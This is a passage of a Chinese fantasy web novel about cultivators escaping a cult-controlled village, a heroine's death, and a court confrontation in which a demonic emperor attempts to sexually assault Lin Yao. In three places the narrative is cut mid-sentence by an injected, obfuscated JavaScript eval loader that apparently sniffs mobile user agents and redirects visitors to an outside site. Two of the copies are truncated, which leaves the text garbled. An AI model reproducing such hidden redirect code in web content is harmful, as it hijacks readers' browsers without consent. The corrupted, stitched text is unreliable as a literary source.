一片漆黑的屋子里勉强能视物,没有人说话,只剩下轻轻的呼吸声,苏潋影侧头看向旁边的陈子桁,她枕着自己的右胳膊,纤薄的背对着自己。 苏潋影轻声道:“陈姐姐,你睡了吗?” “没有。” 隔了一会儿陈子桁才应了一声,依旧是不冷不热,仿佛一具会喘气的尸体。 苏潋影绞尽脑汁想措辞,不知道该怎么开口,忽然听陈子桁道:“想问什么快问吧,不然没时间了。” 苏潋影咽了一口唾沫,一股凉意从脚底蔓延至全身。 陈子桁道:“你们最好别闭眼,我不知道他们会不会今晚动手,至于你们那两个朋友,看造化吧。” 苏潋影深吸一口气,艰难地开口:“陈姐姐,你不是本地人吧?” “你看出来了?” 陈子桁很是平静,声音轻的仿佛一股风,诉说着属于自己的故事,一段阴暗、恐怖、令人窒息的故事。 “知道青澜宗吗?” 她自顾自地往下讲:“五年前,我和师弟师妹们奉师父之命调查潜藏在蓝羽村的邪教血衣教,当时也是田家接待了我们,他们很热情,邀请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489967|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们一行人去家里吃饭,晚上我和田母睡在一起,后半夜,我听见身边的老夫人悄悄下了床,本以为是老人家起夜,没想到窗外传来了说话声,说什么睡熟了,可以动手,我本来有机会逃出去的,但是师弟师妹们还在他们手上,我折返回去救人,落入了早就埋伏在田家的血衣邪教手里,我给师弟师妹们断后,可是血衣教教众越来越多、越来越多,我战至力竭,手上满是自己的血,连剑都握不住,他们挑断了我的灵脉、挖了我的金丹、吸取了我所有的灵力,将毫无反抗之力的我丢在了田家。” 苏潋影屏住了呼吸,似乎不喘气那可怕的事情就不会发生。 陈子桁说到这里顿住了许久,再开口时声音轻轻颤了一下:“至此我才明白,整个蓝羽村不是邪教掌控下的受害者,而是帮凶,村民负责欺骗来此地的外乡人,给血衣教通风报信,而血衣教也会给他们一定的甜头,比如我……五年来,我尝试过无数种方法,我也试着想帮那些跟我一样弥足深陷的女子逃出去,可是某一次逃跑失败,她们把我供了出来,我被田家人吊在树上好几个时辰,后来田大在我脚下挖了坑要活埋我,让我死了也逃不出田家,他往我身上盖土,几乎埋到了我的脖子,是翠翠救了我,她躺在了我旁边,让我别害怕,田大只有这么一个女儿,他还是住手了。” 苏潋影哽咽到说不出话来,眼泪止不住地往下流,她不明白为什么老天对这么善良的女子要如此残忍,她本来拥有大好的前途,却要生生被困在这样一个恶心肮脏的地方,求生不得求死不能…… 楚纤茉颤声问道:“可你的师弟师妹们逃出去了啊,他们没有回来救你吗?” 黑暗中,陈子桁的声音依旧那么平静,仿佛一湖死水:“我不知道,或许他们根本没逃出蓝羽村,又或许……” 她没有再说下去,但所有人都猜到了。 一个再也不能修行的废物,一个失身给山野村夫令宗门蒙羞的弟子,还有救回来的必要吗? 林瑶沉闷的声音响起:“翠翠是……” 陈子桁道:“翠翠不是我的女儿,她娘亲已经去世了,但是翠翠一直都很向着我,我害怕田大,害怕他晚上喝得醉醺醺的回来找我,翠翠就一直闹着要跟我睡,一次又一次从田大手里救了我,如果不是她,我恐怕已经被田家人折磨疯了。” 正说到这里,窗户忽然被轻轻地叩了三下。 众人心里皆是咯噔一下。 陈子桁轻轻“嘘”了一声,示意其他人不要说话,她轻轻下了床走至窗边,也轻轻叩了三下窗,外面传来一声小猫叫。 陈子桁艰难地将挡在窗台上的杂物挪开,打开了小窗,一个小小的黑影灵巧地撑着窗台翻了进来,小声道:“阿娘,我看到爹出门了。” 陈子桁一向平静的面色忽然慌乱起来,转身道:“你们现在赶紧走,他去找血衣教了,你们从后门走,千万不要动用灵力,之前就是因为你们用了灵力才引起了血衣教的注意,至于你们那两个朋友,我和翠翠再想办法搭救。” 陈子桁带着林瑶一行人绕过西厢房到了后院,没想到那条凶恶的黄狗被栓在了门把手上,此时黄狗似乎已经听到了动静,本来低垂的耳朵刷一下竖了起来,众人齐齐顿住,离后门只有咫尺之遥却只能望而却步。 翠翠低声道:“让我去,大黄听我的话。” 陈子桁点点头,递给翠翠一块手帕,低声道:“去把它的鼻子捂住。” “晓得了。” 翠翠轻手轻脚走过去,蹲下来低声哄着黄狗,一只手不停地给它顺毛,另一只手拿下了缠在门把手上的铁链,用手帕捂住了黄狗的鼻子。 陈子桁松了一口气,招招手示意三人跟她走,众人皆是满头虚汗,岂料陈子桁刚打开门脚步就僵住了。 门外被密匝匝的人墙围得水泄不通,赫然是一群血衣教修士以及脸色阴沉的田大。 35. 杜鹃啼血,虔送子桁 血衣教几乎将整个田家围了起来,他们全部身着红衣,脸上戴着惨白的面具,面具眼睛的部分是两个深不见底的黑洞,这些人仿佛一群正在凝视着他们的幽灵。 林瑶迅速拔下发间的簪中刺抵在了陈子桁脖子上,冷声喝令田大:“让我们过去,不然我杀了她!” 田大见状目眦欲裂,眼球充血,如同一只被激怒的野兽:“放开小桁!不然我要你们好看!” 一个血衣教教徒冷笑道:“蠢货,你难道看不出来吗,你女人和孩子分明是在帮这群修士逃跑。” 那人上前来拍了拍田大的肩膀:“等我们抓住这三个女修,吸干了她们的灵力,到时候人都是你们兄弟的。” 田大看着面无表情的陈子桁,垂下的拳头缓缓攥紧,低声道:“言灵大人,可是小桁……” “废话少说,上!” 言灵一声令下,其余人立刻亮出法器,皆是雪亮的子午鸳鸯钺,刹那之间就冲了上来将三人团团围住,林瑶一把将陈子桁推给了楚纤茉,她和苏潋影两人各亮法器,背靠着背警惕地与血衣教众对持。 言灵不屑冷笑:“我当多厉害,一个一阶慕雅、一个才入门,也就手里的法器还值得我们动手。” 他瞥向旁边的陈子桁,语气极为讽刺,扬着下巴仿佛在看一只任人宰割的羔羊:“陈子桁,如果我没记错的话,当初你可是三阶行渊啊,足足比这个白衣女修高了两个境界,结果还不是败在了我们手里,啧啧啧,堂堂青澜宗主的关门弟子,只能躺在一个山野村夫身下摇尾乞怜——” “住口!” 苏潋影一鞭子甩了过去,这人眼神一凛,抬手抓住了她的鞭梢狠狠一扯,苏潋影整个人被甩飞了出去。 言灵抬脚将还没来得及爬起来的苏潋影又狠狠踩了下去,拿盘起来的鞭子挑起她的下颌:“法器不错,就是用得乱七八糟,不如让我来教教你,鞭子是这么用的——” 他劈手狠狠一挥,玉骨鞭如同蜿蜒扭动的灵蛇向不远处的林瑶砸去,林瑶一手举着魂灯,另一手变换了好几个手势,魂灯忽然紫芒大盛,言灵闭了一下眼睛,只这一下林瑶从他眼前消失了,言灵迅速转身锁定了方位,一丝冷笑从面具下溢出:“想布星辰阵?你这速度还不够!” 玉骨鞭倾刻之间缠住了林瑶的脚腕,言灵半蹲身借力向后一甩,林瑶整个人被甩出去撞在了土坯墙上,随后狠狠摔在地上,嘴里满是鲜血,掉在不远处的魂灯让言灵用鞭子勾到了手里,提到眼前细细观赏一阵,语气中的嫉妒与贪婪再也掩藏不住:“还是个无相灵宝,随心化形,你这种废物也配……真是老天不公啊。” 苏潋影被踩得上不来气,口溢鲜血,断断续续地呻吟着:“白洛溪别睡了……救命啊……” 言灵冷笑道:“喊吧,喊破喉咙也没人来救你。” 刚说着一道水柱自田宅屋顶上射出,直击他胸口,言灵眼疾手快地向侧边一跳,定睛一看,眼前是一个白衣白发的男子,眸中隐隐透出绿芒,言灵愣了一瞬,随即狂笑出声:“我当谁呢,这不是被妖王流放的那个废物吗?怎么,在妖界混不下去了,就开始当人族的走狗了?嗯?居然跟条狗一样任由一个丫头片子呼来喝去,真是丢尽了你爹的颜面!我要是你,我早就自绝经脉、了却残生了。” 苏潋影气得七窍生烟,擦了一把嘴上的血从地上爬起来,丝毫不畏惧地盯着言灵:“像你这种人,也就只能靠拉踩别人找优越感了,说我们废物,你自己还不是一样废物,靠吸取别人的灵力修行,跟寄生虫有什么区别?还戴个面具,你也觉得自己没脸见人啊?” 言灵手背上、脖颈上青筋暴起,继而狂笑不止,鞭子径直甩向白洛溪的同时,戴着面具的脸阴恻恻看向苏潋影。 “死丫头,我会让你比陈子桁还惨上一万倍!哈哈哈哈哈哈哈哈哈哈……到时候看你还能不能这么硬气!” 苏潋影咬紧嘴唇,气得浑身颤抖:“只会这些下三滥的手段,你不得好死!” “小桁!” “阿娘!” 忽然之间,纷乱的厮杀声中,一个尖锐绝望的男人嘶吼声穿破人群,苏潋影怔怔地望过去,陈子桁抱着翠翠倒在了血泊里,田大如同发疯的野兽般冲向了其中一个血衣教众,被对方一脚踹倒在地,那人似乎被这个山野村夫气疯了,不停地咒骂道:“真是一条疯狗,都说了等我们办完事那三个女修归你了,有病啊这么护着这婆娘!” 原来不久前,趁着言灵和白洛溪纠缠,陈子桁想带着林瑶和楚纤茉偷偷离开被血衣教众发现了,血衣教众才不管谁是谁,杀红了眼居然连翠翠都下得去手,陈子桁本能地挡在了翠翠前面,脖颈上被子午鸳鸯钺豁开了一道口子,血洒如练。 躺在地上的田大忽然咧嘴笑了起来,蹦起来癫狂地朝一个方向跑去。 言灵反应过来急忙喝道:“拦住他!” 匹夫之怒,却也无法阻挡,田大不知道哪来那么快的速度,即使被言灵飞出去的一只子午鸳鸯钺击中了后背,身体晃悠了一下,依旧踉踉跄跄往前面跑,如飞蛾扑火般倒在了不远处的一座三青鸟祭坛上。 轰隆一声,西山上爆发出一阵火光,大火熊熊燃起,如同长夜将明。 那是,血衣教总舵。 怎么回事? 在场除了血衣教教众几乎所有人都发出了同样的疑问。 言灵的双眸中映着西山上的火光,他的脑海里仿佛也有一团火焰炸开,膝盖一软险些跪倒在地。 “不可能!这不可能!” 他像一只发狂的疯狗般冲向苏潋影,单手遏住她的脖颈,将她整个人提了起来,沙哑的声音如同破音的笛子:“说!你们的人都在这里,而且那杂碎只是炸了我们一个灵坛而已,为什么总舵会被炸毁?” 苏潋影艰难地在言灵手里挣扎,破碎的音节从喉咙里溢出:“我……真的……不知道……” “放开她!” 白洛溪眼见苏潋影的脸涨得越来越红,几乎是瞬间冲了过去,然后,他还没来得及出手,言灵忽然之间像被什么东西击中了似的身子向后仰倒,手一松苏潋影跌坐在地,她连滚带爬远离了危险地带,回眸看去,只见言灵倒在地上抽搐了几下,似乎已经失去了战斗力,她松了口气,转而连忙去看陈子桁。 翠翠仰头大张着嘴巴,脸上满是交错的泪痕,她抱着陈子桁,用自己的上衣死死捂住她不停往外面喷血的脖颈,翠翠似乎是想大哭大喊,但是除了之前喊出的一声“阿娘”,她已经发不出任何声音了,脸涨得通红,似乎喘不上气来,看着随时要窒息。 啪——有人在翠翠背上不轻不重地拍了一巴掌,翠翠被拍得一弯腰,哇的一声吐出了一口血。 苏潋影原本以为是白洛溪,但顺着对方一尘不染的白衣下摆往上看去,出现在她眼前的是一张陌生的脸和墨色的长发。 是这个人炸了血衣教总舵,救了翠翠。 苏潋影想也没想抓住了他的白衣下摆,急切道:“求你救救她!” 她说的自然是陈子桁。 那白衣人轻轻摇头,薄唇轻启说了两个字:“节哀。” 苏潋影抓着那人衣摆的手缓缓垂落,几乎是扑到了陈子桁面前,眼泪一滴滴砸到了陈子桁溅了一大片血污的脸上。 陈子桁缓缓睁开了眼睛,艰难地抬手想替翠翠擦去眼泪,却根本做不到,生命正在从她的身体里渐渐流失。恍惚之间她似乎回到了五年前,回到了羲和洲青澜宗,在夕阳下舞剑如游龙,抬手接落花,恍然回眸,梨花古树下有人正襟危坐,素手拨弄琴弦,含霜映雪的眸子也正巧望向她,唇瓣微微张合,似乎是在唤她的名字……子桁。 一把窄刃长剑被轻轻放在了陈子桁手里,剑似乎感受到了主人的气息,发出了微弱的震颤,将剑刃从剑鞘里震出了三寸,可以看到靠近剑柄处刻着“秋澜”二字。 那白衣人将秋澜剑放在陈子桁手里便起身退开了,语调无波无澜道:“这些年你不停往外面传送关于血衣教的情报,虽然没有顺利传到青澜宗,但是我顺着这些线索成功找到了血衣教的总舵,多谢。” 陈子桁轻轻地笑了一下,这是苏潋影第一次见她笑,她的喉咙被割断了,发不出声音,靠在翠翠怀里,艰难地侧头看向苏潋影,将身边的秋澜剑轻轻推向她,目视着羲和洲的方向。 苏潋影紧紧握住了她的手,哭得语无伦次:“我知道……我知道你想回家,放心,我一定带你回去……” 明明只差一点,就只差一点点,这个困在地狱里五年之久的姑娘就可以获得自由了,可是为什么老天要这么残忍,她受了这么多苦,为什么最后什么都得不到?为什么死都要死在这个令她痛苦的地方? 楚纤茉抱着晕厥过去的翠翠,两只眼睛通红,默默无声地流着眼泪。 郁霄刚解除迷香,揉着眉心听苏潋影讲述刚才发生过的事情,一脸懊恼与自责,若非他中了田家人的迷香,也不至于让其他四个人险些丧命。 林瑶受伤不轻,此时正在盘膝打坐,脸色十分苍白,唇角还带着血迹。 白洛溪靠着一棵树,眸光看向替陈子桁整理仪容的苏潋影,不知在想些什么。 苏潋影将陈子桁的手交叠放在小腹前,轻轻说了声“再见”,刚想拿起火把,恍然间又记起来什么,从身上东翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言灵当初缴了陈子桁的仙剑和各种法器,挖她金丹断她仙脉,一时脑袋发热也没有发现陈子桁身上还有一件低阶法宝织霞衣,又或许连陈子桁自己都忘了她还有这件东西,一件从小带在身上,可以保住她最后一丝尊严的东西。 而田大这个畜牲!分明近不了陈子桁的身却编造谎言将她困在蓝羽村五年之久! 可悲的是陈子桁自己也信了,她是名门仙姝,太上忘情心如明镜,不谙男女之事,被恐惧攫住心神自然是别人说什么她信什么。 苏潋影缓缓跪在地上,将陈子桁的骨灰连同那件织霞衣一起收敛进一个小瓷盒里,小心翼翼地贴身放好。 脸颊感受到了微风拂过的搔痒,苏潋影一转身,那白衣人已经走出了一段距离了。 苏潋影连忙问道:“敢问高人尊姓大名!” 那人脚步一顿,似乎是思索了一会儿,随后说了三个字。 “林火火。” 一听就是假名!敷衍至极!苏潋影无语半刻碎碎念道:“……高人这名字蛮有趣啊,就是容易化为灰烬。” 这位叫做林火火的高人押着血衣教教主和长老言灵离开了,两指夹着一枚莲花状的玉佩似乎在跟谁说话。 “招新弟子喊我作甚,我又不是掌门……扣就扣呗,反正我的月薪已经扣到两百年后了,我不一定活到那个时候,光脚的岂怕你们穿鞋的……呃,掌门也在啊……我马上回来!” “铲除了血衣教,蓝羽村可以太平一段时日了。” 郁霄站在村口百感交集地望着炊烟袅袅的村子,此时天蒙蒙亮,西山的大火也被白洛溪引洛河水浇灭了,一切似乎都已尘埃落定。 苏潋影低下头,双手轻轻抚摸着陈子桁的骨灰盒,她身后背着那把秋澜剑。 郁霄垂眸望向她,抬手轻轻拍了拍她的肩膀,仿佛在嘱咐自己的妹妹那样温声道:“此去山高路远,不可再莽撞行事,” 说着他拿出一块雕刻着凤凰的玉佩递给苏潋影:“拿好别弄丢了,到了秦川这个或许能派上用场。” 苏潋影轻轻抬眸,看着郁霄俊雅清贵的面容,不知该说些什么好:“那你呢,有什么打算?” 郁霄的目光落在了蓝羽村上方,黑眸里映出苍茫的山林,他的声音虽轻但掷地有声:“回凤城后我会派一批官员以及教书先生长驻此地,为孩童开蒙,为蓝羽村修建能够通往雁回城的桥梁,盼此地能够早些与外界相融,或许如陈子桁这般悲剧就不会再发生。” “我相信你!加油,凤城世子!” 郁霄看着她大大的眼睛莞尔一笑,朝她挥挥手:“你也是,加油,苏苏女侠,青山不改,有缘再会。” 36. 祸国妖道 林瑶本打算随苏潋影一起去羲和洲,但一来伤势未愈、二来她刚听说宫里出事了,皇后产下怪胎被打入天牢,林瑶不听则已,一听差点晕厥过去,无论如何她都该回去一趟了,纵然,尹星灯不会轻易放过她。 与苏潋影一行人在渡口分别,林瑶北上回玄都,苏潋影和楚纤茉出了蓝羽村一路向西,开始了未知的旅程。 过了这么长时间,说不定师父已经想开了!林瑶这么安慰自己。 骑着白马一路飞驰,随手给自己卜了一卦,刚开始还抱有幻想……如果师父已经气消了,并且有意与我继续师慈徒孝,彻底忘记那件不愉快的事情,那么就让我在巳时前赶到下一个村镇叭! 然后,就没有什么然后了,下雨了,整整三个时辰的暴雨,电闪雷鸣,等风停了雨住了,走出草庙一看,连路都塌了…… 这是不是有点太魔幻了? 林瑶再也不敢轻易给自己占卜了。 且说玄都,早已经变了天,宫里更是人心惶惶。 皇后已经疯了,她不知道自己的孩子为什么会是那副怪模样,据说那皇子身上都是鳞片,眼睛又细又长发着绿光。 林瑶赶到天牢时看到的就是这幅场景,皇后依旧穿着家常的服饰,但是面容憔悴不堪,呆呆地缩在墙角扣着指甲,十指指缝里都是干涸的血迹,她仿佛没有知觉,依旧不停往下剥自己三寸长的指甲。 林瑶站在栏杆外,瞧见这一幕瞳孔骤缩,喉咙里发出嘶哑的音节:“让我进去……” 守牢的金甲武士面露难色,向林瑶拱手:“林姑娘,陛下有令——” 林瑶侧目看向金甲武士,瞳孔里满是昼夜兼程后的血丝,脸颊苍白到似乎下一秒就会晕过去,却咬牙一字一顿道:“开门。” 林瑶那张脸明明看起来没有什么威慑力,金甲武士却浑身一震,稀里糊涂地从一堆钥匙里找到自己需要的,打开了牢门。 “谢谢……”林瑶抹了一把眼泪,迈步进了天牢,明明从蓝羽村到玄都,这一路上她的脚步从不曾停歇,用尽全力地跑,可是那人近在眼前了,她却不敢轻易上前,可是牢门到墙角的距离就那么几步,她脚下一个踉跄已经跪在了皇后面前,入目是一片血色,她甚至还穿着生产时的血衣…… 林瑶强行镇定下来,双手紧紧握住了皇后的手腕,阻止她继续自残,哑声唤她:“长姐……瑶儿回来了,别怕,有我在,不会让你有事的……” “瑶儿……瑶儿!” 皇后仿佛从噩梦中惊醒一般,原本佝偻着的身子忽然弹直,几乎是掐住了林瑶的肩膀,双目血灌瞳仁,尖锐的嗓音震得林瑶的耳朵嗡嗡作响。 “瑶儿,救救我的孩子!救救我的孩子!他不是妖怪,千错万错都是我的错,你去求求陛下,饶了我的孩子,你去求求陛下……” 这是她温婉善良的长姐啊,连一只蚂蚁也舍不得踩死,十七岁嫁给墨玉沉,无怨无悔,打理六宫,除了新婚的三个月,墨玉沉再也不到她的宫苑里去,但她从来都是不争不抢,甚至帮着其他妃嫔照顾她们的孩子……结果就这么不明不白地被折磨成了这副模样! “好,我去……我这就去!”她几乎咬碎银牙。 林瑶双眸赤红地站了起来,转头看向那个金甲侍卫,语调平静到没有任何情绪:“照顾好娘娘,我去去就回。” 她不待那人答复,疾步出了天牢,脚下生风一路畅通无阻到了后宫,伸手拦住了一个宫女:“陛下何在?” 那小宫女曾经在宫宴上见过林瑶,知道这是皇姨,虽然现在皇后出事了,但小宫女也不是那种见风使舵的人,正巧她也知道皇帝陛下就在自家主子宫里,于是乖乖回答了林瑶的问题。 林瑶一点头,提脚便走,临到玉和宫门口抬头看了一眼那牌匾,手中白光乍现,提在手里的却不是之前那盏魂灯,而是一把雪亮的三尺长剑,吓退了一干忙着侍奉的宫女太监,玉和宫里满是惊惶恐惧的尖叫声,碗碟落地的刺耳碎裂声,惊动了内殿里的帝王与何嫔。 何嫔原本坐在墨玉沉腿上,此时看见林瑶带着利器闯入宫殿吓得尖叫不止一屁股坐到了地上,见林瑶直直盯着墨玉沉,她这才哆哆嗦嗦爬起来躲在墨玉沉身后,颤声呼救,墨玉沉却微微抬手制止,眸光微含笑意看着林瑶,安抚何嫔道:“爱妃莫要惊慌,一个小丫头能掀起什么风浪,先去偏殿休息。” 林瑶面如九秋霜,手中长剑直指墨玉沉,垫步一跃一言不发刺向他面门,墨玉沉依旧坐在宝座之上稳如泰山,眼见剑风刺破空气,墨玉沉额前的发丝尽数被冰冷的剑气裹挟着向耳后飘去,剑尖在他左边瞳孔迅速放大,似乎下一秒就能穿透他的眼球,但墨玉沉的眼皮都没有眨一下,抬手仅用两指就截住了锋利的剑刃,剑尖卡在离他眼睛半寸处动弹不得,他盯着林瑶的脸,笑意在他脸上渐渐绽开,如同一匹饿狼终于等到了垂涎已久的兔子,他的手臂上有墨绿色的鳞片在迅速生长,眨眼间从手背蔓延至整只左手,仿佛一只坚不可摧的手套,他攥住了剑刃狠狠往前一拽,林瑶没来得及撒手就被他扯到近前,肩膀被墨玉沉一条胳膊死死禁锢在他怀里,手腕、下骸骨同时被一股剧痛攫住,林瑶手中长剑哐当一声掉在了地上,又化作了一盏魂灯,魂灯里的火焰摇摇摆摆、将熄不熄。 墨玉沉单手抓着林瑶纤细的双手手腕,另一只手捏住了她的下巴迫使她看向自己,贪婪的目光仿佛无底黑洞,下一秒似乎就要将林瑶整个吞没。 这个月里姮娥、昆仑神女一样清艳冷漠的女子,就像一块晶莹的寒冰、一块无暇的白璧,连发丝都散发出拒人千里之外的冷淡气息。 “这可是你自己送上门来的……”墨玉沉轻轻抚摸着她的脸,享受般感受着她在自己怀里的颤抖:“瞧你,大热天的还穿得层层叠叠,都出汗了,难怪素称柳下惠的国师都为你神魂颠倒,瑶儿的确很吸引人,像禁坐高台的神明,不知撕碎你这副假正经的外壳,内里是什么样的?” 伸手去擦拭她额角的汗水,被林瑶甩头避开,美眸中的厌恶如火焰腾起:“无耻之徒!” 墨玉沉也不恼,欣赏着她对自己的憎恨,甚至说是恶心,这种像是看狗屎一样的表情,这种高贵不可侵犯的姿态,让他全身肌肤都干渴燥热起来了。 他将林瑶压在雕花墙壁上,欣赏着她狼狈不堪的、挣扎的模样,腹部似乎有一团邪火在灼烧着肠肚和血液,但林瑶这样的女子,几乎就是一件精雕细琢、完美无瑕的瓷器,只能打碎一次,所以这个过程他得慢慢来,就像对一块精致的点心就得细细品尝是一个道理,只这一次,估计林瑶就直接含恨自尽了,据说这女人洁癖得厉害,见不得一点脏东西,那如果是自己脏了呢?岂不是会发疯?哈哈哈哈哈哈哈哈哈哈…… “你最好给孤识相点!孤可不是你那孬种师父,天天把你当菩萨供着!” 他按住林瑶奋力挣扎的娇躯,一手顺着她纤细雪白的脖颈往下滑去,半个手掌探入了她衣领里……砰!一声巨响,门板被人一脚踹开,一个清冷中带着滔天怒意的声音炸响在墨玉沉耳边。 “陛下,她是臣的徒弟!!!” 墨玉沉轻轻啧了一声,侧目看向那打扰自己兴致的不速之客,轻描淡写地解释道:“国师,你这徒弟手持利器,意欲行刺孤王——” 他一手将挣扎着的林瑶死死禁锢在怀里,一手捏住她的下巴,目视尹星灯,满是挑衅地去咬林瑶的耳垂:“所以,孤王要治她个大不敬之罪,国师还是先——” 话未说完,他那只捏着林瑶下巴的右手手腕上出现了一圈血线,林瑶眼前一片血光散开,只看到有一团血肉模糊的东西掉在了地上,再定睛一看那居然是一只手,齐腕骨的地方断裂,截面整整齐齐仿佛一刀切的血豆腐,鲜血立刻流了一滩,那手指似乎不甘心地弹动了一下,随后彻底失去生机…… 林瑶吓呆了,木雕泥塑般一动不动,被尹星灯猛一把拽到了自己身后,他手心里灼热的温度顺着手掌传遍她全身,于是,惊惧的心脏不再狂跳,纤弱的身体不再战栗,脚下重新生长出气力,凄冷的双眸看向那熟悉的侧脸,胸中颓然涌上一股悲哀…… 为什么,总是他在自己最无助的时候挺身而出呢? 墨玉沉右边袖子满是鲜血,眸底却散发着狠厉的绿光,死死瞪着尹星灯,惭愤欲狂。 “尹渊!你好大的胆子!居然敢行刺孤王,来人啊!给孤王杀了这个反贼!” “五马分尸!孤王要将你五马分尸!” 墨玉沉暴跳如雷,扶着龙椅大口喘着粗气,像一头被激怒的狮子,似乎随时都会冲上来将敌人撕成碎片。 林瑶惊恐地看着墨玉沉眼底的绿光,颤声提醒尹星灯道:“师父,他他是妖……怎么会这样……” 面对墨玉沉的嘶喊咆哮,尹星灯却是好整以暇,还有时间跟林瑶解释:“不算是完整的妖,是个半妖。” 林瑶错愕至极:“怎么会,他明明是人啊,怎么会变成妖,莫非是被什么东西附身了?” 尹星灯手中白光乍现,星芒如同牢笼一般死死困住了目眦欲裂、咆哮不止的墨玉沉,这荒淫残暴、色厉内荏的昏君捂着血如泉涌的断臂扯着嗓子朝殿外嘶吼:“你们都死了吗!来人!来人啊!有人要弑君了!” 寂静如死,没有一个人进来。 尹星灯淡淡向林瑶解释道:“琅嬛古国传承千年,历代帝王与妖族、魔族抗争,渐渐探索出了一套属于帝王的护身功法——龙吟经,可惜某人心术不正,用阴谋诡计登上宝座终究不能长久,这龙吟经练到走火入魔便是这副鬼样子了。” 林瑶看着墨玉沉在血泊里翻滚,脸颊上渐渐出现细细密密的鳞片,她全身发麻,迅速别过了头不敢再看。 就在这时,一连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尹星灯听着她含泪泣血的控诉面不改色,将她的肩膀扳过来面向自己,屈指擦去她满脸的泪痕,淡声道:“彼时墨玉沉气数未尽,天命所归,贸然对他动手恐引起不必要的变数。” 林瑶死死咬着嘴唇,通红着眼眸看向他,忽然发狠地推开了他,她的肩膀不停颤抖着,似乎是被抽干了所有力气踉跄退后几步:“天命,又是天命!你从来都是这一套说辞!我真是,后悔拜你为师,你不配!” 尹星灯向来波澜不惊的面容在听到最后三个字时,仿佛一张纸被撕裂了,他抢上前一把攥住了林瑶的手腕,腮边肌肉颤动着,艰难地呼吸着,眼眸有些腥红,带了些许潮湿…… “你有什么资格高高在上地指责我!你知道当初墨玉沉要娶的人是谁吗?为师为了护着你费了多少心血!到头来却落不下一点好,你非要狠狠吃一次亏才能清醒过来是不是!” 林瑶茫然地看着他,继而摇摇头,依旧带着怒气:“就算他选择的人是我,我也不会任由他摆布!更不会让……让我的姐姐替我去送死……” 尹星灯气极反笑:“林瑶,你修无情道就修成了这副模样?大道无情悲悯众生,可你呢?你就这么糟践我的心意?还是你觉得,我的付出只是一厢情愿,你根本不稀罕,所以可以有恃无恐,不用顾忌我的感受?林瑶,我是个人啊,我也会……会难过,会心痛,你可知你这般伤我多深吗?” 听着这般锥心泣血的指责,林瑶渐渐没了声音,她茫然无措地低下头,先前那股理直气壮的火焰仿佛被一盆冷水浇灭了。 好像的确是这样,是她太过分了吗?那现在该怎么办?要道歉吗?可是这么严重的创伤道个歉好像意义不大…… 尹星灯微微闭上眼,见林瑶情绪不再激动,刚想上前忽然身后传来一个熟悉的声音,在对方刚喊出一声“师父”时他已经干脆利落地打断了。 “滚,看不到为师忙着吗?” 宫玄烛气得在心里骂遍了尹星灯八辈祖宗,忙你妹啊!眼看着都要改朝换代了你就在这儿跟一个年龄还没你鞋码大的小姑娘吵架? 她翻了个白眼,没好气道:“前朝一群老不死的在商议新君人选,人脑子快打出狗脑子来了,到时候外戚专权、江山改名换姓了可别说我没提醒你!” 尹星灯思量再三,看看失魂落魄的林瑶打算再给对方下一剂猛药,熟练地摆出一副受伤脆弱之态,轻叹一声黯然四十五度仰望天空:“为师先去处理别的事务,至于皇后那边,我会酌情处理,过继七皇子和九公主承欢膝下,你先去开导一下她……” 他轻叹一声落寞离去,在转身的一刹那嘴角勾起势在必得的微笑,哼,为师都为你做到这份上了,良心过得去你就继续抱怨我吧。 尹星灯自以为算无遗策,但是忘了旁边还有个搞事的。 37. 她一回来,他就整活 宫玄烛托着腮蹲在了看似已经真魂出窍的林瑶身边,林瑶两眼发直盯着地板,自言自语般道:“我以后大概再也没办法像从前一样毫不留情地拒绝他了……” 宫玄烛不以为然,鼻子里溢出一声冷哼,伸手拍拍林瑶的肩膀,看着尹星灯离去的背影摇摇头:“最低劣的道德绑架手法,不是我说你,你又不是圣人你只是个人,是人就会有私心,多少为自己考虑一下吧,难不成你还真想答应那混账师父的无理要求啊?” 林瑶第一反应就是摇头,宫玄烛欣慰地点点头:“这不就对了,坚持自己认为对的事就好,记住,你虽然欠他的人情,但不欠感情,还人情的方式有很多种啊,比如给对方送个小礼物、帮他办件事儿、请他吃顿饭,差不多就行了呗,所以呢,我特别不喜欢红线坊新出的几套书,动辄就是救命之恩以身相许,当我们女人是智障啊,就好比对方给你一只桃,你拿一筐李子去还,最后不仅连筐送给他了,还把家里房契地契顺手塞筐里了,你愿意做这样蠢的女人吗?” 林瑶连连摇头、一脸惊惧:“我不愿意!” 宫玄烛拍拍她的肩膀:“孺子可教也,你不像陌菱那家伙,十头牛拉不回来啊,我这思想辅导课免费给她上了二十几节了,愣是一句没听进去,我真是感到前所未有的挫败。” 林瑶拿手帕擦了擦脸上快干涸的泪痕,眸中露出疑惑与探究:“思想辅导课?” 宫玄烛笑着伸出手:“对啊,上课不交学费嘛林瑶同学?一节课十文,价格公道童叟无欺哦。” 林瑶被对方过分正义且理所当然的眼神镇住了,真就从自己的手链上取下一颗颜色纯正到没有一丝杂质的灵石递到了她手里,全程眼睛都没有眨一下地看着宫玄烛的脸。 宫玄烛一点都不脸红地接过这颗上品灵石,一边对林瑶笑眯眯说再见,一边在心里疯狂吐槽咒骂尹星灯。 